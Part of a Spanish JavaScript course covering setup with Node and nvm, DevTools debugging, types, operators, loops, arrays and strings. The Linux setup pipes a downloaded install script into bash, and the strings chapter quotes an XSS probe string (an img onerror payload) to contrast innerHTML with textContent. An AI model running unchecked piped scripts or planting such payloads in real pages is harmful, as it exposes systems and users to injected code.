Índice del curso

JavaScript moderno de cero a experto

El lenguaje que hace viva la web: fundamentos sólidos, prototipos, asincronía profunda, Node.js, el navegador y su DOM, hasta construir una SPA sin frameworks conectada a una API REST real.

42 capítulos Bootstrap 5.3 Modo claro / oscuro Optimizado para móvil ECMAScript 2025 · Node 22 LTS
42
Capítulos
150+
Ejemplos de código
3
Niveles: básico a experto
0
Requisitos previos
Cómo usar este tutorial: sigue los capítulos en orden (el índice está en el menú si lees desde el móvil). Cada capítulo tiene teoría, ejemplos ejecutables y puntos clave al final. Practica cada ejemplo: es la única vía para dominar cualquier tema.

1 · Qué es JavaScript hoy

Básico ~12 min

Historia mínima, motores, dónde vive el lenguaje y cómo se evolu­ciona con ECMAScript.

En 1995 Brendan Eich escribió la primera versión de este lenguaje en Netscape en unas pocas semanas. Se llamó Mocha, luego LiveScript y finalmente JavaScript, un nombre comercial que aprovechaba la popularidad de Java. La semejanza termina ahí: Java y JavaScript son lenguajes distintos con filosofías opuestas. En 1997 el lenguaje fue estandarizado por Ecma International bajo el nombre ECMAScript (abreviado ES), que es el nombre oficial del estándar; «JavaScript» es el nombre comercial con el que todos lo conocemos.

Durante años JavaScript fue «el lenguaje que validaba formularios». Hoy es una plataforma completa: corre en navegadores, servidores, escritorio, móvil e incluso microcontroladores. Este manual te lleva de validar un input a construir una SPA completa sin frameworks.

Los motores: donde el código se vuelve realidad

JavaScript es un estándar; quien realmente ejecuta tu código es un motor escrito en C++ que compila el fuente a instrucciones de máquina mientras corre (compilación JIT, la conoceremos a fondo en el capítulo de rendimiento).

MotorDesarrolladorDónde lo encuentras
V8GoogleChrome, Edge, Opera, Node.js, Deno
SpiderMonkeyMozillaFirefox (el motor original de Eich)
JavaScriptCoreAppleSafari, Bun

El estándar garantiza que el mismo programa se comporte igual en todos; las diferencias reales están en el rendimiento y en APIs del entorno, no en el lenguaje.

ECMAScript y el ritmo anual

Desde 2015 (la famosa ES2015 o ES6, la mayor revisión de su historia) el estándar publica una edición nueva cada junio. Las propuestas pasan por el comité TC39 en etapas numeradas:

EtapaNombreSignificado práctico
0StrawmanIdea suelta; nadie debería usarla
1ProposalCaso de uso formal aceptado por el comité
2DraftEspecificación inicial; aparecen transpiladores experimentales
3CandidateCasi lista; los navegadores la implementan detrás de flags
4FinishedAprobada: entra en la próxima edición anual

Cuando digamos «esto es ES2024» o «ES2025» nos referimos a la edición donde la propuesta llegó a etapa 4. En este manual usamos sintaxis ES2024/2025, disponible en navegadores actuales y Node 22 LTS.

Tu primer programa, dos veces

La misma línea funciona en cualquier entorno. Primero en el navegador: abre las herramientas de desarrollador (F12), ve a la pestaña Console y escribe:

console.log("Hola desde el navegador");
// Hola desde el navegador

Luego en el servidor, con Node.js instalado (siguiente capítulo):

$ node -e "console.log('Hola desde Node')"
Hola desde Node

Nada que compilar, nada que instalar además del runtime: ese ciclo corto escribir-ejecutar-observar es parte del encanto del lenguaje.

Dónde corre tu JavaScript en 2026

EntornoHerramientas típicasEjemplo real
Navegador webDOM, fetch, Web APIsCualquier aplicación interactiva
Servidor / APINode.js, Express, FastifyAPI REST (como la que construimos en PHP)
EscritorioElectron, TauriVS Code, Slack, Discord
MóvilReact Native, CapacitorIgnyte, Instagram parcial
ExtensionesVS Code extensions, WebExtensionsPlugins de editores y navegadores
IoT / embebidosEspruino, Johnny-FiveRobótica educativa

Por qué aprenderlo ahora

  • Es el único lenguaje que los navegadores ejecutan nativamente: si hay web, hay JavaScript.
  • npm es el repositorio de paquetes más grande del mundo del software.
  • Un solo lenguaje para frontend y backend reduce la fricción de aprender.
  • Es la puerta de entrada natural a React, Vue, Angular y Svelte (meta final de este manual).

Puntos clave

  • JavaScript ≠ Java: nombres parecidos, lenguajes distintos.
  • El estándar es ECMAScript; los motores (V8, SpiderMonkey, JSC) lo implementan.
  • Desde ES2015 hay una edición anual gestionada por TC39 en etapas 0–4.
  • Corre en navegador, servidor, escritorio, móvil y más.

2 · Herramientas: Node.js, editor y navegador

Básico ~14 min

Prepara el mismo entorno en Windows y Linux: runtime LTS, VS Code y verificación paso a paso.

Para este manual necesitas tres piezas: el runtime Node.js (para ejecutar JS fuera del navegador), un editor (VS Code) y un navegador moderno con sus herramientas de desarrollador (Chrome, Edge o Firefox). Todo es gratuito.

LTS frente a Current

LíneaCadencia¿Para quién?
LTS (par)30 meses de soporteProducción y aprendizaje: la recomendada
Current (impar)novedades al díaProbar funciones de última hora

Instala la línea 22 LTS: es sobre la que se apoyan los ejemplos del manual y la mayoría del ecosistema npm.

Windows: instalador oficial

  1. Descarga el instalador .msi de Node 22 LTS desde nodejs.org.
  2. Siguiente, siguiente… deja marcadas todas las casillas (incluye npm y el acceso al PATH).
  3. Al terminar, abre PowerShell o CMD y verifica:
C:\> node -v
v22.17.0
C:\> npm -v
10.9.2

Si PowerShell dice que «node no se reconoce», cierra y vuelve a abrir la ventana: el PATH se refresca por sesión.

Linux: nvm, el gestor recomendado

En Linux evitamos el paquete de la distribución (suele estar desactualizado) y usamos nvm, que permite convivir varias versiones de Node por usuario, sin sudo:

# Instalar nvm (revisa la version mas reciente en github.com/nvm-sh/nvm)
$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash

# Recargar el shell y verificar nvm
$ source ~/.bashrc
$ nvm --version
0.40.3

# Instalar y activar la linea LTS 22
$ nvm install --lts
$ nvm alias default lts/*
$ node -v
v22.17.0

Si prefieres apt, existe el repositorio de NodeSource (una sola línea que registra la fuente y luego sudo apt install nodejs). Con nvm basta: cambiar de versión es un simple nvm use 20.

Ventaja de nvm: cada proyecto puede fijar su versión con un archivo .nvmrc; entrar a la carpeta y ejecutar nvm use cambia todo el entorno.

VS Code y extensiones mínimas

ExtensiónPara quéObligatoria
PrettierFormato automático al guardarRecomendada
ESLintErrores y malas prácticas en vivoRecomendada
Error LensMuestra el error junto a la líneaOpcional
Live ServerServidor local con recarga automáticaÚtil desde el cap. 3

El REPL: calculadora con superpoderes

Escribe node sin argumentos y entras al REPL (Read-Eval-Print Loop), ideal para experimentar:

$ node
Welcome to Node.js v22.17.0.
Type ".help" for more information.
> 2 ** 10
1024
> [1, 2, 3].map(n => n * 10)
[ 10, 20, 30 ]
> .exit

Tab completa funciones, flecha arriba repite historial y .exit (o Ctrl+D) sale. En el navegador, la pestaña Console es el REPL equivalente.

Primer archivo y estructura del curso

Crea la carpeta de trabajo que usaremos durante todo el manual:

$ mkdir -p js-curso/src
$ cd js-curso
$ echo "console.log('Mi primer script en archivo');" > src/app.js
$ node src/app.js
Mi primer script en archivo

Estructura propuesta (crecerá con los capítulos):

  • js-curso/src/ — scripts y módulos de práctica.
  • js-curso/web/ — páginas HTML con JS en el navegador (parte VII).
  • js-curso/tests/ — pruebas con Vitest (cap. 38).

Lista de verificación

  • node -v muestra v22.x ✔
  • npm -v muestra 10.x ✔
  • REPL ejecuta expresiones ✔
  • node src/app.js imprime tu mensaje ✔
  • F12 abre DevTools en tu navegador ✔

Puntos clave

  • Node LTS (22) es la base del manual; Current solo para explorar.
  • Windows: instalador .msi; Linux: nvm por usuario, sin sudo.
  • npm viene incluido con Node: será nuestro gestor de paquetes (cap. 37).
  • REPL de Node y Console del navegador: laboratorios instantáneos.

3 · Anatomía de un script

Básico ~11 min

Cómo el navegador carga tu JS: script clásico, defer, async y módulos ES.

Un mismo archivo .js puede llegar al navegador de varias maneras, y la diferencia importa: afecta cuándo se ejecuta, qué puede hacer y cómo interactúa con el HTML.

Tres formas de incluir JavaScript

FormaEjemploVeredicto
Atributos de eventoonclick="..." en el HTMLEvítala: mezcla responsabilidades
Script inlinecode entre etiquetas scriptVálido para ejemplos mínimos
Archivo externoscript con atributo srcLa recomendada: cacheable y reutilizable

En un archivo externo, la ruta del atributo src es relativa a la página; el navegador descarga, analiza y ejecuta el código una sola vez por URL (luego sirve la copia en caché).

El problema del orden: clásico, defer y async

Por defecto, un script clásico bloquea el parseo del HTML: el navegador deja de construir la página hasta descargar y ejecutar. Dos atributos cambian ese comportamiento:

ModoDescargaEjecuciónOrden garantizado
clásicobloqueanteinmediata, antes de seguir parseando
deferen paralelotras parsear todo el DOMSí, en orden de aparición
asyncen paraleloen cuanto termina de descargarNo: quien llega primero
  • defer: para scripts que tocan el DOM (casi todos los tuyos).
  • async: para scripts independientes (analítica, contadores).

Regla práctica moderna: usa type="module", que ya implica defer.

Módulos ES: el estándar actual

Añadir type="module" cambia las reglas del juego:

  • Modo estricto implícito: no puedes crear variables globales por accidente.
  • Ámbito propio: tus variables no contaminan el objeto global window.
  • Import/export: puedes partir el código en archivos (cap. 12).
  • Defer implícito: se ejecuta tras el parseo, como defer.
  • Rutas obligatorias: importar exige rutas completas con extensión (./util.js).
// web/main.js — se ejecuta despues de que el DOM esta listo
const titulo = document.querySelector("h1");
console.log("Encontre:", titulo?.textContent ?? "sin h1");

function saludar(quien) {
  console.log(`Hola, ${quien}`);
}
saludar("curso JavaScript");

Y en el HTML lo conectas así (etiquetas descritas en texto para no confundir): un elemento <head> contiene <script type="module" src="./main.js"></script>.

Los módulos requieren servir la página por HTTP (Live Server, o npx serve); abrir el archivo con doble clic (file://) dispara errores CORS. Hábito desde hoy: siempre servidor local.

La familia console

MétodoUso típico
log / info / warn / errorMensajes por nivel; error apila el stack trace
table(datos)Arrays u objetos como tabla interactiva
dir(obj)Inspección profunda de un objeto
time(etiqueta) / timeEnd(etiqueta)Cronometrar una sección
group(etiqueta) / groupEnd()Agrupar mensajes jerárquicamente
count(etiqueta)Contar cuántas veces pasa por ahí
assert(cond, msg)Error solo si la condición falla
trace()Imprimir el stack trace actual sin detenerse
console.time("calculo");
console.group("pedido #7");
const items = [
  { sku: "A1", precio: 12.5 },
  { sku: "B2", precio: 8.0 },
];
console.table(items);
const total = items.reduce((s, i) => s + i.precio, 0);
console.assert(total > 0, "el total no puede ser cero");
console.log("total:", total);
console.groupEnd();
console.timeEnd("calculo");
// calculo: 0.31ms

Puntos clave

  • Prefiere archivos externos; evita atributos onclick en HTML.
  • defer respeta orden y espera al DOM; async no garantiza nada de orden.
  • type="module": estricto, ámbito propio, defer implícito — opción por defecto.
  • Los módulos exigen servidor local: Live Server o npx serve.
  • console tiene más de diez métodos útiles más allá de log.

4 · Consola y primera depuración

Básico ~13 min

DevTools a fondo: leer errores, breakpoints y el panel Sources.

Depurar imprimiendo mensajes sirve, pero los profesionales usan el depurador: pausan la ejecución, inspeccionan variables vivas y recorren el código línea a línea. Este capítulo te da el flujo completo en Chrome/Edge (Firefox es casi idéntico; Safari usa su menú Desarrollador).

Abrir DevTools

ObjetivoAtajo Windows/LinuxmacOS
Panel completoF12 o Ctrl+Shift+ICmd+Opt+I
Solo ConsoleCtrl+Shift+JCmd+Opt+J
Inspeccionar elementoCtrl+Shift+CCmd+Opt+C

Console: formato y utilidades que casi nadie usa

// Placeholders estilo printf
console.log("Usuario %s hizo %d pedidos", "ana", 3);

// Estilos CSS en el mensaje (%c abre el siguiente segmento estilizado)
console.log("%c ALERTA ", "background:#b45309;color:#fff;padding:2px 6px;border-radius:4px");

// dir muestra el arbol interno (ideal con nodos DOM)
const nodo = document.body;
console.log(nodo);   // resumen serializado
console.dir(nodo);   // propiedades navegables

// trace: donde estoy sin detener la ejecucion
function cobrar(monto) {
  if (monto === 0) console.trace("cobro con monto cero");
}
cobrar(0);

time/timeEnd y group/groupEnd ya los viste en el capítulo anterior; combínalos con count para detectar llamadas repetidas inesperadas (por ejemplo, un efecto que corre de más).

Leer un error como profesional

const pedido = null;
console.log(pedido.cliente);
// Uncaught TypeError: Cannot read properties of null (reading 'cliente')
//     at ejemplo.js:2:19
  • Tipo del error (TypeError): qué categoría de problema.
  • Mensaje: operación imposible y sobre qué valor.
  • Stack trace: archivo:línea:columna exactos, con la cadena de llamadas que llevó ahí (de abajo hacia arriba).

Errores que verás mil veces y su causa habitual:

ErrorCausa típica
x is not definedTypo en el nombre o falta importar
Cannot read properties of undefined/nullAcceder a propiedad de algo que no existe (usa ?.)
x is not a functionLlamaste algo que no era función (nombre reutilizado)
Unexpected token / Unexpected end of inputError de sintaxis: llave o paréntesis sin cerrar

Breakpoints en Sources

  1. Abre la pestaña Sources; a la izquierda están tus archivos (Ctrl+P para buscarlos).
  2. Haz clic en el número de línea sospechosa: aparece un punto azul (breakpoint).
  3. Recarga o reproduce la acción; la ejecución se pausa ahí.
  4. Inspecciona: pasa el cursor sobre variables, mira los paneles Scope (valores vivos), Watch (expresiones vigiladas) y Call Stack.
  5. Avanza con los botones: F10 step over, F11 step into, Shift+F11 step out, F8 continuar.
  6. Clic derecho en un breakpoint → Edit breakpoint → condición: se pausa solo si la expresión es verdadera.

Mini ejercicio guiado

Esta función debe sumar los pares del arreglo, pero devuelve mal. Encuéntralo con breakpoint:

function sumaPares(nums) {
  let total = 0;
  for (let i = 0; i <= nums.length; i++) {
    if (nums[i] % 2 === 0) total += nums[i];
  }
  return total;
}
console.log(sumaPares([1, 2, 3, 4])); // esperado 6, imprime NaN
  1. Breakpoint en la línea del if; F10 paso a paso.
  2. En la última vuelta ves i === nums.length y nums[i] === undefined: la condición debía ser i < nums.length.
  3. undefined % 2 produce NaN y contamina total. Corrige, guarda, recarga: 6.

Network: primer vistazo

El panel Network lista cada petición que hace la página. Útil ya ahora:

  • Filtra por Fetch/XHR cuando empieces a consumir APIs (parte VII).
  • Columna Status: 200 ok, 404 recurso inexistente, 500 error del servidor.
  • Pestaña Throttling simula 3G lento: prueba tu página real.

Puntos clave

  • Lee el stack trace de abajo hacia arriba para hallar el origen.
  • Breakpoints condicionales evitan pausas infinitas en bucles grandes.
  • Scope/Watch/Call Stack responden «qué valor hay» y «cómo llegué aquí».
  • Network será tu mejor amigo al consumir APIs REST.

5 · Variables y tipos

Básico ~15 min

let/const/var, los siete primitivos, typeof y la coerción explicada sin miedo.

let, const y el var legacy

Desde ES2015 declara con let (valor cambiable) y const (enlace fijo). Ambos tienen ámbito de bloque. var existe por compatibilidad: su ámbito es de función y se «eleva» (hoisting), fuente clásica de bugs.

ÁmbitoReasignarRedeclararHoisting
constbloqueNoNoZona muerta
letbloqueNoZona muerta
varfunciónSí (!)Elevada como undefined
function ejemplo() {
  if (true) {
    var x = 1;
    let y = 2;
  }
  console.log(x); // 1 — var ignora el bloque
  // console.log(y); // ReferenceError: y vive solo en el bloque
}
ejemplo();

const lista = [1, 2];
lista.push(3);        // permitido: mutamos el CONTENIDO
// lista = [];        // TypeError: el ENLACE es constante
console.log(lista);   // [1, 2, 3]

La zona muerta temporal (TDZ)

Entre el inicio del bloque y la línea de declaración, una variable let/const está en la Temporal Dead Zone: tocarla lanza error en vez de dar undefined silencioso.

{
  // console.log(estado); // ReferenceError: Cannot access 'estado' before initialization
  const estado = "activo";
  console.log(estado);   // activo
}

El TDZ convierte errores sutiles en fallos inmediatos y visibles: una mejora real frente a var.

Los siete tipos primitivos

TipoEjemploNota
number42, 3.14, -1e9Punto flotante de 64 bits (IEEE 754)
bigint9007199254740993nEnteros arbitrarios; sufijo n
string"hola", 'hola', `hola`Las plantillas invertidas interpolan ${expr}
booleantrue / falseBase de todas las decisiones
undefinedlet x;«No tiene valor todavía»
nulllet x = null;«Vacío a propósito» (tú lo asignas)
symbolSymbol("id")Identificadores únicos; detalle en cap. 16
number no distingue enteros y decimales: todo es float64. Por eso 0.1 + 0.2 !== 0.3 da true (el resultado es 0.30000000000000004). Para dinero, trabaja en céntimos o usa librerías decimales; para enteros gigantes, BigInt. Y Number.MAX_SAFE_INTEGER marca el límite donde 1 ya no se distingue.
console.log(0.1 + 0.2 === 0.3);          // false
console.log(Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2); // true: colapso
const enorme = 12345678901234567890n;
// console.log(enorme + 1);              // TypeError: no mezclar bigint con number

typeof y sus rarezas

ExpresiónResultadoPor qué
typeof null"object"Bug histórico de 1995, inamovible por compatibilidad
typeof function(){}"function"Única excepción invocable
typeof noExiste"undefined"No lanza error con variables no declaradas
typeof []"object"Los arrays son objetos; usa Array.isArray()

Coerción: truthiness y las trampas del ==

Cualquier valor convertido a boolean da verdadero, salvo esta lista cerrada de falsy:

false · 0 · -0 · 0n · "" · null · undefined · NaN

if ("") console.log("nunca");
const invitados = [];            // array vacio es TRUTHY (es un objeto)
if (!invitados.length) console.log("sin invitados");

// == convierte antes de comparar: resultados infames
console.log("" == 0);        // true
console.log("0" == 0);       // true
console.log("" == "0");      // false (!)
console.log(null == undefined); // true (pareja especial)
console.log(null == 0);      // false
console.log(NaN == NaN);     // false: NaN no es igual ni a si mismo

// === compara tipo y valor: cero sorpresas
console.log("5" === 5);      // false
console.log(Number("5") === 5); // true: conversion explicita

Convención profesional: siempre ===; la única excusa aceptada es x == null para probar «null o undefined» a la vez.

Conversión explícita cuando sí hace falta

Number("42");     // 42
Number("");       // 0  (cuidado)
Number("12abc");  // NaN
parseInt("12abc", 10);  // 12: lee prefijo numerico
String(255);      // "255"
Boolean("hola");  // true
+"3.5";           // 3.5  (atajo unario comun)
`${255}`;         // "255" via plantilla

Puntos clave

  • Declara con const por defecto y let si reasignas; olvida var.
  • TDZ: usar antes de declarar falla fuerte y pronto.
  • number = float64: cuidado con dinero y enteros grandes (BigInt).
  • Falsy: false, 0, -0, 0n, "", null, undefined, NaN — nada más.
  • === siempre; == solo para el truco x == null.

6 · Operadores sin sorpresas

Básico ~14 min

Aritmética, ternarios, encadenamiento opcional, nullish, spread/rest y desestructuración.

Aritméticos y su trampa clásica

7 % 3;        // 1  resto: util para par/impar (n % 2 === 0)
2 ** 10;      // 1024 potencia

let precio = 100;
precio += 18 * 0.18;   // compuesto: += -= *= /= %= **=
precio.toFixed(2);     // "132.40" — ojo: devuelve STRING

let i = 5;
i++;             // posfijo: devuelve ANTES de incrementar
++i;             // prefijo: incrementa y DESPUES devuelve
// Regla del manual: nunca mezcles incremento y uso en la misma expresion.
El + concatena si hay un string: "5" + 3 → "53", mientras "5" - 3 → 2 (el - fuerza número). Convierte explícito con Number() antes de operar.

Asignaciones lógicas modernas (ES2021)

config.tema ??= "claro";   // asigna SOLO si era null/undefined
contador ||= 1;            // asigna si era falsy
cache &&= limpiar(cache);  // asigna solo si era truthy

Ternario encadenado, legible

function nota(n) {
  return n >= 18 ? "AD"
       : n >= 14 ? "A"
       : n >= 11 ? "B"
       : "C";
}
console.log(nota(15)); // A

Con más de tres ramas considera un objeto-despacho (lo veremos en control de flujo) o switch: la legibilidad manda.

Encadenamiento opcional ?.

const pedido = { cliente: { nombre: "Ana" } };
pedido.cliente?.nombre;      // "Ana"
pedido.envio?.direccion;     // undefined — sin TypeError
pedido.funcion?.();          // llama solo si funcion existe
const clave = "cliente";
pedido?.[clave]?.nombre;     // tambien con corchetes

Nullish ?? contra ||

Ambos dan valor por defecto, pero || salta cualquier falsy (¡incluido 0 y ""), mientras ?? solo salta null y undefined:

Valorv || 10v ?? 10
010 (pierde tu cero)0 (correcto)
""10""
null1010
undefined1010
const cantidad = input.cantidad ?? 1;   // respeta un 0 legitimo
const titulo = usuario.apodo || "Anonimo"; // aqui || SI es correcto: apodo vacio molesta

Spread y rest: tres puntos con dos caras

// SPREAD: expandir
const base = [1, 2];
const completa = [...base, 3, 4];        // [1, 2, 3, 4]
const fusion = { ...base_cfg(), activo: true }; // sobrescribe al final

function base_cfg() { return { tema: "oscuro" }; }

// REST: recolectar sobrantes
function sumar(...numeros) {
  return numeros.reduce((a, b) => a + b, 0);
}
sumar(1, 2, 3, 4); // 10

const { password, ...perfilPublico } = usuario; // rest en objetos

Cuidado: spread copia superficialmente. Los objetos anidados siguen compartidos (copia profunda nativa: structuredClone, cap. 23).

Desestructuración: extraer con estilo

const [primero, , tercero = 30] = [10, 20];  // primero=10, tercero=30
const { nombre, rol = "invitado", id: userId } = { nombre: "Ana", id: 7 };

// anidada
const respuesta = { data: { user: { email: "ana@x.pe" } }, status: 200 };
const { data: { user: { email } } } = respuesta;

// en parametros: patron "options"
function crearPost({ titulo, autor = "webcode", tags = [] }) {
  return `${titulo} — por ${autor} (${tags.length} etiquetas)`;
}
crearPost({ titulo: "Hola mundo", tags: ["js"] });

Precedencia: la tabla mínima honesta

PrioridadOperadores
1() · agrupación — gana siempre
2? . [] llamadas, acceso a miembros
3**
4* / %
5+ -
6< > <= >= in instanceof
7=== !== == !=
8&& luego || luego ??
9= += ??= … asignaciones (al final)

Cuando dudes, paréntesis: cuestan cero y ahorran horas. Nota: mezclar ?? con || o && exige paréntesis obligatorios (error de sintaxis si no).

Puntos clave

  • + concatena con strings; convierte antes de operar.
  • ??= para defaults reales; ?? respeta 0 y "".
  • ?. elimina la cascada de TypeErrors en datos incompletos.
  • Spread copia superficial; rest recoge parámetros variables.
  • Desestructuración con renombre y defaults: firma de código moderno.

7 · Control de flujo

Básico ~13 min

if/else, switch moderno, el patrón de despacho por objeto y los cuatro bucles.

if / else if / else

const stock = 3;
if (stock === 0) {
  console.log("Agotado");
} else if (stock <= 3) {
  console.log("Quedan pocas unidades");   // esta rama corre
} else {
  console.log("Disponible");
}

// if sin llaves: solo la siguiente sentencia. Usalo con moderacion.
if (stock === 1) console.warn("ultima unidad!");

switch: agrupar casos sin caer en el falloff

El switch clásico compara con ===. Los casos vacíos «caen» al siguiente (fallthrough), útil para agrupar pero fuente clásica de bugs si olvidas el break:

function tamano(letra) {
  switch (letra) {
    case "S":
    case "M":            // S y M comparten salida
      return "estandar";
    case "L":
    case "XL":
      return "grande";
    default:
      return "desconocido";
  }
}
console.log(tamano("M")); // estandar
console.log(tamano("X")); // desconocido
Error común: un case sin break ni return ejecuta también el caso siguiente. ESLint lo marca con la regla no-fallthrough.

El «match» de JavaScript: despacho por objeto

JS no tiene match como PHP 8 o Rust, pero un objeto de funciones hace el mismo papel, con mejor rendimiento que una cadena de if y sin fallthrough posible:

const acciones = {
  sumar: (a, b) => a + b,
  restar: (a, b) => a - b,
};

function calcular(operacion, a, b) {
  const fn = acciones[operacion] ?? (() => { throw new Error(`op invalida: ${operacion}`); });
  return fn(a, b);
}
console.log(calcular("sumar", 2, 3)); // 5

Variante frecuente: el objeto guarda valores directos ({ es: "Español", en: "English" }) para traducciones o mapeos simples.

Los cuatro bucles y cuándo usar cada uno

BucleIdeal paraOjo con
for (let i = 0; ...)Índices numéricos, pasos controladosCondición off-by-one
for...ofRecorrer valores de arrays, strings, Map, SetNo funciona sobre objetos planos
for...inCasi nunca directo: claves de objetosIncluye propiedades heredadas
while / do...whileRepetir hasta que cambie una condiciónBucles infinitos
const carrito = [{ nombre: "cafe", precio: 18 }, { nombre: "te", precio: 9 }];

// for...of: la eleccion por defecto para listas
for (const item of carrito) console.log(item.nombre);

// for clasico cuando necesitas el indice O saltas elementos
for (let i = 0; i < carrito.length; i += 2) console.log(i, carrito[i].nombre);

// for...in sobre objetos planos: filtrar herencia con hasOwnProperty
const config = { tema: "oscuro", idioma: "es" };
for (const clave in config) {
  if (Object.hasOwn(config, clave)) console.log(clave, "=", config[clave]);
}

Object.hasOwn() (ES2022) sustituye al antiguo obj.hasOwnProperty(): funciona incluso con objetos creados con Object.create(null).

break, continue y etiquetas

// continue salta a la siguiente vuelta; break corta el bucle
for (const n of [4, 7, -1, 9]) {
  if (n < 0) { console.log("precio invalido:", n); break; }
  if (n % 2 !== 0) continue;
  console.log("par:", n);           // imprime solo 4
}

// Etiquetas: para salir de bucles anidados de golpe (uso puntual)
externo:
for (const fila of [[1, 2], [3, 4]]) {
  for (const celda of fila) {
    if (celda === 3) break externo;
    console.log(celda);             // 1, 2
  }
}

Puntos clave

  • switch compara con ===: cuidado con tipos mezclados.
  • El fallthrough agrupa casos, pero cada case debe terminar en break/return.
  • Despacho por objeto: el reemplazo idiomático del match.
  • for...of para valores; for...in casi siempre requiere Object.hasOwn.

8 · Arrays esenciales

Básico ~15 min

Mutadores contra no-mutadores, búsqueda, ordenación segura y las novedades ES2023–2024.

const precios = [12.5, 8, 30];
precios.length;          // 3
precios[0];              // 12.5
precios.at(-1);          // 30 — indices negativos desde el final
precios[99];             // undefined — NO lanza error
precios.length = 1;      // trunca! length es modificable

Dos familias: mutadores y no-mutadores

FamiliaMétodosEfecto
Mutadores (cambian el original)push pop shift unshift splice sort reverse fillRápidos, peligrosos si compartes la referencia
No-mutadores (devuelven nuevo)map filter slice concat flat flatMap toSorted toReversed withBase del estilo funcional y de React
const pila = [1, 2];
pila.push(3);        // [1,2,3]  agrega al final
pila.pop();          // 3        quita del final
pila.unshift(0);     // [0,1,2]  agrega al inicio
pila.shift();        // 0

// splice: corta/inserta donde quieras (mutador todopoderoso)
let letras = ["a", "b", "c", "d"];
letras.splice(1, 2, "X");     // desde indice 1 quita 2 e inserta "X"
console.log(letras);          // ["a","X","d"]

// slice: copia un rango sin tocar nada (no-mutador)
const copia = letras.slice(0, 2);   // ["a","X"]

Búsqueda y verificación

const users = [
  { id: 1, nombre: "ana", activo: true },
  { id: 2, nombre: "luis", activo: false },
];
users.find(u => u.activo);            // {id:1,...} primer coincidente o undefined
users.findIndex(u => u.id === 2);     // 1 (-1 si no existe)
users.some(u => u.activo);            // true  (al menos uno)
users.every(u => u.activo);           // false (todos?)
users.includes(2);                    // primitivos por igualdad estricta

Ordenación: el comparador obligatorio con números

sort() convierte a texto por defecto: [10, 2, 1] queda [1, 10, 2]. Para números, pasa un comparador:

[10, 2, 1].sort((a, b) => a - b);   // [1,2,10] ascendente
[10, 2, 1].sort((a, b) => b - a);   // descendente

["Ávila", "ana", "Lima"].sort((x, y) =>
  x.localeCompare(y, "es", { sensitivity: "base" })
);                                   // ana, Ávila, Lima — español correcto

Los ocho métodos inmutables de ES2023

ES2023 añadió contrapartes que no tocan el original — ideales para frameworks con detección de cambios:

MutadorInmutable (ES2023)
sort()toSorted()
reverse()toReversed()
splice()toSpliced()
arr[i] = vwith(i, v)
const original = [3, 1, 2];
const ordenada = original.toSorted();
console.log(original, ordenada);   // [3,1,2] [1,2,3]
const conCero = original.with(0, 99);   // [99,1,2]

Aplanar y agrupar

[[1, 2], [3]].flat();                  // [1,2,3]
[[1, [2]]].flat(Infinity);             // aplanado profundo
[1, 2, 3].flatMap(n => [n, n * 10]);   // [1,10,2,20,3,30]

// Object.groupBy (ES2024): agrupacion nativa sin reduce manual
const inventario = [
  { tipo: "fruta", nombre: "lucuma" },
  { tipo: "verdura", nombre: "zapallo" },
  { tipo: "fruta", nombre: "chirimoya" },
];
const grupos = Object.groupBy(inventario, i => i.tipo);
// { fruta: [lucuma, chirimoya], verdura: [zapallo] }

reduce: el cuchillo suizo (con mesura)

const montos = [100, 250, 40];
const total = montos.reduce((acum, m) => acum + m, 0);   // 390

// reduce tambien construye objetos, pero cuando la logica crece
// prefiere un for...of claro antes que un reduce ilegible.

Puntos clave

  • at(-1) para el último elemento; length se puede truncar.
  • Números SIEMPRE con comparador (a, b) => a - b.
  • toSorted/toReversed/toSpliced/with: la familia inmutable ES2023.
  • Object.groupBy (ES2024) elimina el reduce-agrupador manual.

9 · Cadenas y plantillas literales

Básico ~12 min

Backticks e interpolación, los métodos que de verdad usas a diario e Intl para español.

Tres comillas, una recomendación

const simple = 'comillas simples';
const doble = "comillas dobles";
const nombre = "Percy";
const plantilla = `Hola, ${nombre} — total: ${(19 * 3).toFixed(2)} soles`;

// multilinea sin trucos
const sql = `
  SELECT id, titulo
    FROM posts
   WHERE publicado = true
`;
console.log(plantilla);
// Hola, Percy — total: 57.00 soles

Las plantillas literales (backticks) interpolan cualquier expresión con ${...}, respetan saltos de línea y son la base de las tagged templates que veremos con librerías como styled-components.

Los métodos del día a día

MétodoEjemploResultado
includes / startsWith / endsWith"javascript".includes("script")true
indexOf / lastIndexOf"banana".indexOf("na")2 (-1 si no está)
slice"frontend".slice(0, 6)"fronte" (acepta negativos)
replaceAll"a-b-c".replaceAll("-", "+")"a+b+c"
split / join"a,b".split(",").join(" | ")"a | b"
trim / trimStart / trimEnd" hola ".trim()"hola"
padStart / padEnd"7".padStart(3, "0")"007" (correlativos!)
repeat / at"ab".repeat(2) · "hola".at(-1)"abab" · "a"
toUpperCase / toLowerCase"Js".toLowerCase()"js"
// replace con string solo cambia UNO; replaceAll cambia todos:
"a-b-c".replace("-", "+");       // "a+b-c"
"a-b-c".replaceAll("-", "+");    // "a+b+c"

Formateo local con Intl (es-PE)

Nada de concatenar soles a mano ni inventar fechas: el objeto global Intl ya formatea según configuración regional:

const soles = new Intl.NumberFormat("es-PE", { style: "currency", currency: "PEN" });
soles.format(1234.5);          // "S/ 1,234.50"

const corto = new Intl.NumberFormat("es-PE", { notation: "compact" });
corto.format(1250000);         // "1,3 M"

const fecha = new Date(2026, 7, 30);   // mes 7 = agosto (0-indexado!)
new Intl.DateTimeFormat("es-PE", { dateStyle: "long" }).format(fecha);
// "30 de agosto de 2026"
Dato clave: en Date los meses van de 0 a 11. El error «off-by-one-month» persigue a toda generación de desarrolladores JS.

Construyendo HTML seguro (adelanto del cap. 35)

const usuario = '<img src=x onerror=alert(1)>';
// PELIGROSO: inyectar texto del usuario como HTML
// elemento.innerHTML = `Hola ${usuario}`;

// SEGURO: textContent siempre escapa
const saludo = document.createElement("span");
saludo.textContent = `Hola ${usuario}`;   // se muestra el texto literal

Comparación y normalización

"café" === "cafe\u0301";           // false — dos formas Unicode distintas!
"café".normalize() === "cafe\u0301".normalize();   // true tras normalizar NFC

// orden alfabético en español
["ñandu", "nariz"].sort((a, b) => a.localeCompare(b, "es"));
// ["nariz", "ñandu"] — la ñ va despues de la n

Puntos clave

  • Backticks por defecto: interpolación + multilínea gratis.
  • replace cambia uno; replaceAll cambia todos.
  • Intl.NumberFormat/DateTimeFormat es-PE: moneda, compactos y fechas nativas.
